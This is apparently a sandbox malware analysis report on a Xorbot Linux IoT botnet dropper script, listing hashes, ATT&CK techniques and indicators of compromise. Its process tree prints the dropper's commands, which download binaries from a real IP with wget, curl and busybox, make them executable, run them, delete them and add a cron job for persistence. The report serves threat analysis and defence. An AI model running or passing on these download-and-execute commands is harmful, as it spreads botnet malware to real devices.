xorbot | cd567b9f3db24e8d535579d9dc2205d9730046834635074acae74277fe2460de

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
04-12-2024 08:55

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General

Target

bins.sh
Size

10KB
MD5

ef3b5b8d03ad9b64895750001a9a9f81
SHA1

67905e0b7ab0f9251c5591a53ab0efbfbe4aba7e
SHA256

cd567b9f3db24e8d535579d9dc2205d9730046834635074acae74277fe2460de
SHA512

d3430b5354703e133e906aa7f15d186f6c5d79914f465decabb603b16269e41a7ee63647e3209ecd66c7fd619266a50b6de934825d1cbc9becc66c20398c529f
SSDEEP

96:LVc68OcK8INtzVZ7Tjl9P3/Mwyq+zVc68OcK8INuFS0AVhX7DE7PneP3/Mw0q+s+:LxzVZvjl9P3/MwyjVc2P3/Mw6

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
1500	chmod
1515	chmod

Executes dropped EXE 2 IoCs

Processes:

OXVxT5hUBFD9egbouowK0UOvExtshC3jGjYgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6

ioc	pid	Process
/tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj	1501	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
/tmp/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6	1516	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6

Renames itself 1 IoCs

Processes:

YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6

pid	Process
1517	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.UC1qoy	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6

description	ioc	Process
File opened for reading	/proc/1582/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1601/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/23/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/173/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/415/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1476/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1553/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1565/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/174/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/179/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/917/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1070/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1539/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1566/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/79/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/652/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1138/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/421/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/968/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1341/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1477/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/25/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/665/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1166/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/595/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1012/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1331/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1559/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/3/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/28/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/34/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/439/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1592/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1534/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1535/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1549/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/9/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1154/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1252/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1488/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1613/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1623/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/468/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1188/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1370/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1542/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1530/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1544/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1552/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/457/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/716/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1151/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1191/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/15/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1168/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1615/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/670/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1548/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1576/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/18/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/515/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1162/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
File opened for reading	/proc/1303/cmdline	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurlbusyboxwgetcurl

description	ioc	Process
File opened for modification	/tmp/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6	busybox
File opened for modification	/tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj	wget
File opened for modification	/tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj	curl
File opened for modification	/tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj	busybox
File opened for modification	/tmp/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6	wget
File opened for modification	/tmp/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1481
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1482
- /usr/bin/wget
  wget http://216.126.231.240/bins/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  2⤵
  - Writes file to tmp directory
  PID:1483
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  2⤵
  - Writes file to tmp directory
  PID:1498
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  2⤵
  - Writes file to tmp directory
  PID:1499
- /bin/chmod
  chmod 777 OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  2⤵
  - File and Directory Permissions Modification
  PID:1500
- /tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  ./OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  2⤵
  - Executes dropped EXE
  PID:1501
- /bin/rm
  rm OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  2⤵
  PID:1503
- /usr/bin/wget
  wget http://216.126.231.240/bins/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  2⤵
  - Writes file to tmp directory
  PID:1504
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  2⤵
  - Writes file to tmp directory
  PID:1513
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  2⤵
  - Writes file to tmp directory
  PID:1514
- /bin/chmod
  chmod 777 YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  2⤵
  - File and Directory Permissions Modification
  PID:1515
- /tmp/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  ./YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1516
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1518
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1519
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1520
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1521
- /bin/rm
  rm YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  2⤵
  PID:1523
- /usr/bin/wget
  wget http://216.126.231.240/bins/a0wubK2TzV0i7LK0iHvF93vpMmsRUZHzE9
  2⤵
  PID:1526

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.UC1qoy

Filesize
210B

MD5
47c53612c31335e3ec53ebaf0c752307

SHA1
5d3d54d2a3ade65d8e540977a349017e6629b50f

SHA256
24af50540719e554c40c9d07ee81c0460414d8d7e573ea2c9003561d560c3056

SHA512
7fe4e557716ba447fea57d3d735578a55f9861d0331f2f622b6568a329285d0d9c25ba9098249ab63cbe0ee1474b44e0e0abeec47cd2443646a7897fc3936120

Download Submit